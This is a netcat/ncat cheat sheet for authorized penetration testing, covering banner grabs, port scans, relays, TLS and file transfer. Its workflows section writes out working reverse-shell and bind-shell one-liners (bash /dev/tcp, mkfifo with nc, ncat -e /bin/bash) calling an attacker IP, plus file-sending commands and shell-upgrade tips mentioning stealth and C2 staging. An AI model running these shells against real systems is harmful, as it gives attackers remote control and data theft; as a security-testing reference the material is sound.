Netcat Cheat Sheet
TCP/UDP connect, listen, and port relay for banners, shells, and file transfer on authorized networks.
Overview
Netcat (nc) is the classic network Swiss Army knife: port scans, banner grabs, bind/reverse shells, and file transfer. Ncat (Nmap project) adds SSL, proxy support, and better scripting—prefer ncat when available on authorized engagements.
Authorized testing only. Use only on systems, networks, and accounts you own or have explicit written permission to test. Unauthorized access is illegal.
Install
sudo apt install -y netcat-openbsd ncatEssential commands
TCP connect banner grab
nc -nv target.example 80Listen on port
nc -lvnp 4444Reverse shell listener (attacker)
nc -lvnp 4444Quick one-liners
Grab a banner from a TCP port
nc -nv target.example 80Listen for an incoming connection
nc -lvnp 4444Check if a single port is open
nc -zv -w 2 target.example 443Send a file to a listening receiver
nc -nv 10.10.14.5 9001 < file.binReceive a file on a listener
nc -lvnp 9001 > received.binCommon workflows
Port scan (simple) —
nc -zv target.example 20-443 2>&1 | grep succeededfor p in 22 80 443 445 3389; do nc -zv -w 2 target.example $p; doneAttacker
nc -lvnp 4444Linux target (when payload execution is in scope)
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/fTarget
nc -lvnp 4444 -e /bin/bashAttacker
nc -nv target.example 4444Receiver
nc -lvnp 9001 > received.binSender
nc -nv 10.10.14.5 9001 < file.binRelay (two connections) —
nc -lvnp 8080 -c "nc internal.host 80"TLS listener
ncat --ssl -lvnp 443TLS connect
ncat --ssl -v target.example 443Reverse shell with ncat (attacker)
ncat -lvnp 4444Target
ncat 10.10.14.5 4444 -e /bin/bashAllow only your IP
ncat -lvnp 4444 --allow 10.10.14.5HTTP proxy chain
ncat --proxy http://127.0.0.1:8080 --proxy-type http target.example 80UDP
ncat -u target.example 53Flags reference
-l | Listen mode |
|---|---|
-v | Verbose |
-n | Skip DNS |
-z | Scan without sending data |
-w SEC | Timeout |
-p PORT | Local source port |
-e PROG | Execute program (bind shell; often disabled on modern nc) |
-u | UDP |
-k | Keep listening after disconnect (openbsd nc) |
Flag (ncat) | Description |
------------- | ------------- |
--ssl | TLS encryption |
--allow IP | Allow connection from IP |
--proxy | Proxy host |
--proxy-type | http, socks4, socks5 |
-e | Execute command |
--exec | Persistent handler |
-k | Accept multiple connections |
Tips
- OpenBSD nc vs traditional nc flags differ; check nc -h on the box.
- Many distros ship nc without -e; use mkfifo bash one-liner or ncat -e.
- Upgrade raw shells: python3 -c 'import pty;pty.spawn("/bin/bash")' then Ctrl+Z, stty raw -echo; fg.
- For stealth, prefer nmap for scanning; nc for quick single-port checks and C2 staging.